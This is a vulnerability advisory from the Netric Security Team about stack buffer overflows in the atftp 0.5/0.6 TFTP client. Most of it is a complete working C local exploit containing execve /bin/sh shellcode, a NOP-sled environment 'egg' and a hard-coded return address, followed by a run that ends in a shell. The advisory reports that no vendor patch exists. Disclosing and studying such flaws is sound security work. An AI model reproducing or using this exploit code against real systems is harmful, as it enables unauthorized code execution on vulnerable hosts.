Netric Security Team - http://www.netric.[org|be]
By sacrine

atftp-0.6
type: stack overflow(s)(multiple)

Priority: 6

[1] Description
[2] Vulnerable
[3] Exploit
[4] Proof of concept
[5] Vendor response
[6] Patches


[01] Description

	atftp is a client/server implementation of the TFTP protocol,
 	that implements RFCs 1350, 2090, 2347, 2348, and 2349.
	packages can be downloaded here: ftp://ftp.mamalinux.com/pub/atftp/

	
	There are several vulnerabilities, mostly with the well known "strcpy" problem.
	An example:
	..
		strcpy(filename, directory);
		char filename(MAXLEN);
	..

	this unchecked buffer can easily be exploited,
	there are more of these vulnerabilities, but we'll discuss only this one,
	the one in the "get file" option / the "-g" option.
	
[2] Vulnerable

	 I only tested the last 2 packages, but the previous versions are most likely
	 vulnerable too.

	 atftp-0.5      -       vulnerable: YES         - exploitable: YES
	 atftp-0.6 	- 	vulnerable: YES		- exploitable: YES

[3] Exploit


/*  
 * atftp.0.5
 * atftp.0.6 - local proof of concept exploit
 * exploits an unchecked buffer in the "get file" option "-g"
 *
 * return addr tested on redhat 7.3 - 0xbffffbcc
 * 	change for other systems - ./k3 <offset>
 * 	
 * Netric Security(RESOURCE MATERIAL)
 * http://www.netric.org
 * written by sacrine
 */

#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>

#define EGG	1024
#define BUFLEN	(356+9)
#define NOP	0x90
			/* eSDee's execve /bin/sh shellcode */
char shellcode[] = 
	"\x31\xc0"                      // xor    %eax,%eax
	"\x50"                          // push   %eax
	"\x68\x2f\x2f\x73\x68"          // push   $0x68732f2f
	"\x68\x2f\x62\x69\x6e"          // push   $0x6e69622f
	"\x89\xe3"                      // mov    %esp,%ebx
	"\x8d\x54\x24\x08"              // lea    0x8(%esp,1),%edx
	"\x50"                          // push   %eax
	"\x53"                          // push   %ebx
	"\x8d\x0c\x24"                  // lea    (%esp,1),%ecx
	"\xb0\x0b"                      // mov    $0xb,%al
	"\xcd\x80";                     // int    $0x80

int main(int argc, char **argv[]) 
{
	unsigned long ret = 0xbffffbcc;
	char buf[BUFLEN];
	char egg[EGG];
	int c;
	char *ptr;
	long *ptr2;
	int i=0;

	if(argc>1) {
	       ret = ret - atol(argv[1]);
	}
	memset(buf,NOP,sizeof(buf));
	ptr=egg;
	for (i=0; i<1024-strlen(shellcode)-1;i++)*(ptr++) = '\x90';
	for (i=0; i<strlen(shellcode);i++)*(ptr++) = shellcode[i];
	egg[1024-1] = '\0';
	memcpy(egg,"EGG=",4);
	putenv(egg);

	ptr2 = buf;
	for(c = 0; c < sizeof(buf); c+=4)
		*(ptr2++) = ret;
	
fprintf(stdout,"------------------------------------------------(www.netric.org)\n");
fprintf(stdout,"         local atftp-0.x proof of concept exploit\n");
fprintf(stdout,"(sacrine)-------------------------------------------------------\n\n");
fprintf(stdout,"return addr: 0x%x\n",ret);
fprintf(stdout,"buffer     : %d\n\n",strlen(buf));

execl("atftp", "atftp","-g",buf, NULL);

return(0);
	
}
	

[4] Proof of concept

[sacrine@workstation_01 atftp-0.5]$ ./k3 
------------------------------------------------(www.netric.org)
         local atftp-0.x proof of concept exploit
(sacrine)-------------------------------------------------------

return addr: 0xbffffbcc
buffer     : 401

tftp: unknown host
Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿Ìûÿ¿B.
Usage: get remote_file [local_file]
sh-2.05a$


[5] Vendor response

	Vendor has been contacted, but has not responded yet.

[6] Patches

	none yet



[EOF]